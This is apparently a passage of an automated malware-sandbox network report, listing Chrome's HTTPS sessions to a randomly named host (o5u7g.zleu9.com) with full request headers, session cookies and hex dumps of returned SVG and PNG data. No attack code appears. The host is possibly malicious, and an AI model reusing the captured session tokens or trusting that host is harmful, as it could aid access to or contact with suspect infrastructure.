2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49807	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1109	OUT	GET /yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	652	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yz5PZPtwocgsIPZRmHcNESROmn19TJ53vuPbrfs9jTab175" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ydg5HDWpY4WKwLJUj8bBi4iVH0hhRQrpbsQTtoYwP%2BAvwA9BtjO%2BYQ%2B7F3HuUu5QCSNYtWit1202Lx7%2FkYFsQT1bOQOdA2uqIuwpBHA4QOoSwuKU6KwKZ6Z0WCck5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff30cec07c9d-LAX
2024-04-24 06:22:05 UTC	717	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 34 32 2c 31 2e 31 35 2c 31 37 2e 37 Data Ascii: 4,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.7
2024-04-24 06:22:05 UTC	826	IN	Data Raw: 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 31 2e 32 39 33 2c 31 31 2e 32 39 33 Data Ascii: .52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A11.293,11.293
2024-04-24 06:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49808	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1108	OUT	GET /ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	649	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v%2FnmVLNAoQVovIGoYypydES4ILkl0%2Fo2Tyyxk6mvUUrr8EBEnCX8BMZoUGn42d7HlwrET%2ByCAera7TFyDDD6uROpzjErDcdwUcVX1zQp5xtJEqYCHzBpdU7O8u55PA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff310a070fec-LAX
2024-04-24 06:22:05 UTC	720	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e Data Ascii: 2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 36 2e 32 32 30 35 20 31 32 Data Ascii: 6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 16.2205 12
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 39 2e 36 30 30 39 20 34 34 Data Ascii: 4.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L19.6009 44
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 20 32 31 2e 30 38 31 31 43 Data Ascii: 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122 21.0811C
2024-04-24 06:22:05 UTC	1202	IN	Data Raw: 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 30 34 37 20 33 31 2e 33 37 Data Ascii: 489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.7047 31.37
2024-04-24 06:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49811	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:05 UTC	1126	OUT	GET /opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:06 UTC	656	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:06 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="opKtNEkOO9Dn5Z3ieoQTLGfaxj0rEuZ6stDscP1Mf9W3N2jRIwOg7b36f6kef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6cqvV1b47BPDtn1YHsLnvdBX%2Bnh7PmLAQXkWvW4vy1ifVSPt1yL%2FYU8QT7nxa5nOCpyQTmfyDezcwWcYm6hIuRCHnMfo3Qm4eMVqEsV0ad830ulay9KAx4eBdsJoXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff384f425313-LAX
